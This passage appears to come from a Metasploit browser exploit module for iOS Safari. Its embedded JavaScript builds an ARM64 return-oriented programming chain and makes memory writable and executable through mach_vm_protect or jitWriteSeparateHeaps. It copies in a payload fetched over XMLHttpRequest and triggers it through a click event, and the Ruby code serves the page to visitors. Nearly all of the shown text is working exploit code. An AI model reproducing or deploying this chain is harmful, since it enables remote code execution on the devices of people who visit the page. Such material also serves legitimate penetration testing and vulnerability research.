gadget)864arr[pos++] = ldrx8.hi(); // x30 (next gadget)865866// in ldrx8867if (x4) {868arr[pos++] = stackloader.lo();869arr[pos++] = stackloader.hi();870} else {871arr[pos++] = dispatch.lo(); // x8 (target for regloader)872arr[pos++] = dispatch.hi(); // x8 (target for regloader)873}874arr[pos++] = 0xdead1401; // (unused)875arr[pos++] = 0xdead1402; // (unused)876arr[pos++] = 0xdead1301; // x20 (unused)877arr[pos++] = 0xdead1302; // x20 (unused)878arr[pos++] = x1.lo(); // x19 == x1 (arg2)879arr[pos++] = x1.hi(); // x19 == x1 (arg2)880arr[pos++] = 0xdead1201; // x29 (unused)881arr[pos++] = 0xdead1202; // x29 (unused)882arr[pos++] = regloader.lo(); // x30 (next gadget)883arr[pos++] = regloader.hi(); // x30 (next gadget)884885// in regloader886// NOTE: REGLOADER DOES NOT ADJUST SP!887// sometimes i didn't get expected value in x4888// and i have no earthly idea why889// usleep likely did the trick, but I would still keep the code890// with movx4891//arr[pos++] = x4.lo() // x4 (should be -- but see lines above)892//arr[pos++] = x4.hi() // x4 (should be -- but see lines above)893894if (x4) {895// in stackloader:896arr[pos++] = 0xdaad0010; // unused897arr[pos++] = 0xdaad0011; // unused898arr[pos++] = 0xdaad0012; // unused899arr[pos++] = 0xdaad0013; // unused900arr[pos++] = 0xdaad1101; // x28 (unused)901arr[pos++] = 0xdaad1102; // x28 (unused)902arr[pos++] = 0xdaad0014; // x27 == x6 (unused)903arr[pos++] = 0xdaad0015; // x27 == x6 (unused)904arr[pos++] = 0xdaad0016; // x26 (unused)905arr[pos++] = 0xdaad0017; // x26 (unused)906arr[pos++] = 0xdaad0018; // x25 (unused)907arr[pos++] = 0xdaad0019; // x25 (unused)908arr[pos++] = 0xdaad00f0; // x24 (unused)909arr[pos++] = 0xdaad00f1; // x24 (unused)910arr[pos++] = 0xdaad00f2; // x23 (unused)911arr[pos++] = 0xdaad00f3; // x23 (unused)912arr[pos++] = 0xdaad00f4; // x22 (unused)913arr[pos++] = 0xdaad00f5; // x22 (unused)914arr[pos++] = func.lo(); // x21 (target for dispatch)915arr[pos++] = func.hi(); // x21 (target for dispatch)916arr[pos++] = 0xdaad0018; // x20 (unused)917arr[pos++] = 0xdaad0019; // x20 (unused)918tmppos = pos;919arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])920arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])921arr[pos++] = 0xdaad001c; // x29 (unused)922arr[pos++] = 0xdaad001d; // x29 (unused)923arr[pos++] = ldrx8.lo(); // x30 (next gadget)924arr[pos++] = ldrx8.hi(); // x30 (next gadget)925926// in ldrx8927arr[pos++] = dispatch.lo(); // x8 (target for movx4)928arr[pos++] = dispatch.hi(); // x8 (target for movx4)929arr[pos++] = 0xdaad1401; // (unused)930arr[pos++] = 0xdaad1402; // (unused)931arr[pos++] = x4.lo(); // x20 == x4 (arg5)932arr[pos++] = x4.hi(); // x20 == x4 (arg5)933arr[pos++] = 0xdaad1301; // x19 (unused)934arr[pos++] = 0xdaad1302; // x19 (unused)935arr[pos++] = 0xdaad1201; // x29 (unused)936arr[pos++] = 0xdaad1202; // x29 (unused)937arr[pos++] = movx4.lo(); // x30 (next gadget)938arr[pos++] = movx4.hi(); // x30 (next gadget)939}940941// after dispatch:942943// keep only one: these or 0xdeaded01944arr[pos++] = 0xdead0022; // unused945arr[pos++] = 0xdead0023; // unused946947arr[pos++] = 0xdead0022; // unused948arr[pos++] = 0xdead0023; // unused949arr[pos++] = 0xdead0024; // x22 (unused)950arr[pos++] = 0xdead0025; // x22 (unused)951arr[pos++] = 0xdead0026; // x21 (unused)952arr[pos++] = 0xdead0027; // x21 (unused)953arr[pos++] = 0xdead0028; // x20 (unused)954arr[pos++] = 0xdead0029; // x20 (unused)955arr[pos++] = 0xdead002a; // x19 (unused)956arr[pos++] = 0xdead002b; // x19 (unused)957arr[pos++] = 0xdead002c; // x29 (unused)958arr[pos++] = 0xdead002d; // x29 (unused)959arr[pos++] = jump_to.lo(); // x30 (gadget)960arr[pos++] = jump_to.hi(); // x30 (gadget)961}962963var add_call = function(func, x0, x1, x2, x3, x4, jump_to) {964x0 = x0 || Int64.Zero965x1 = x1 || Int64.Zero966x2 = x2 || Int64.Zero967x3 = x3 || Int64.Zero968jump_to = jump_to || stackloader969970return (ldrx8 ? add_call_via_x8 : add_call_llvm)(971func, x0, x1, x2, x3, x4, jump_to972)973}974975#{if ios_11976'977if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) {978add_call(jitWriteSeparateHeaps979, Sub(codeAddr, memPoolStart) // off980, paddr // src981, shsz // size982);983} else {984fail("jitWrite");985}986'987else988'989add_call(mach_vm_protect,990mach_task_self_, // task991codeAddr, // addr992shsz, // size993new Int64(0), // set maximum994new Int64(7) // prot (RWX)995);996997add_call(memmove,998codeAddr, // dst999paddr, // src1000shsz // size1001);1002'1003end}10041005add_call(codeAddr,1006dlopen,1007dlsym,1008jitWriteSeparateHeaps,1009memPoolStart,1010memPoolEnd,1011);10121013for(var i = 0; i < 0x20; ++i)1014{1015arr[pos++] = 0xde00c0de + (i<<16);1016}10171018var sp = Add(stack, (arrsz - off) * 4);1019memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60)); // x291020memory.writeInt64(Add(el_addr, 0x68), sp); // x2 (copied into sp)10211022// trigger1023//print("u rdy?")1024wrapper.addEventListener("click", function(){});10251026}10271028#{get_mem_rw}10291030function go() {1031try {1032var req = new XMLHttpRequest;1033req.open("GET", "exploit");1034req.responseType = "arraybuffer";1035req.addEventListener("load", function() {1036try {1037if (req.responseType != "arraybuffer") throw "y u no blob";1038payload.set(new Uint8Array(req.response), 0x0);1039pwn();1040} catch (e) {1041fail("Error: " + e + (e != null ? " " + e.stack : ""))1042}1043});1044req.addEventListener("error", function(ev) {1045fail(ev)1046});1047req.send()1048} catch (e) {1049fail("Error: " + e + (e != null ? " " + e.stack : ""))1050}1051};10521053go();10541055</script>1056</body>1057</html>1058^10591060unless datastore['DEBUG_EXPLOIT']1061html.gsub!(%r{//.*$}, '') # strip comments1062html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);1063end10641065send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })1066end1067# rubocop:enable Metrics/MethodLength1068end106910701071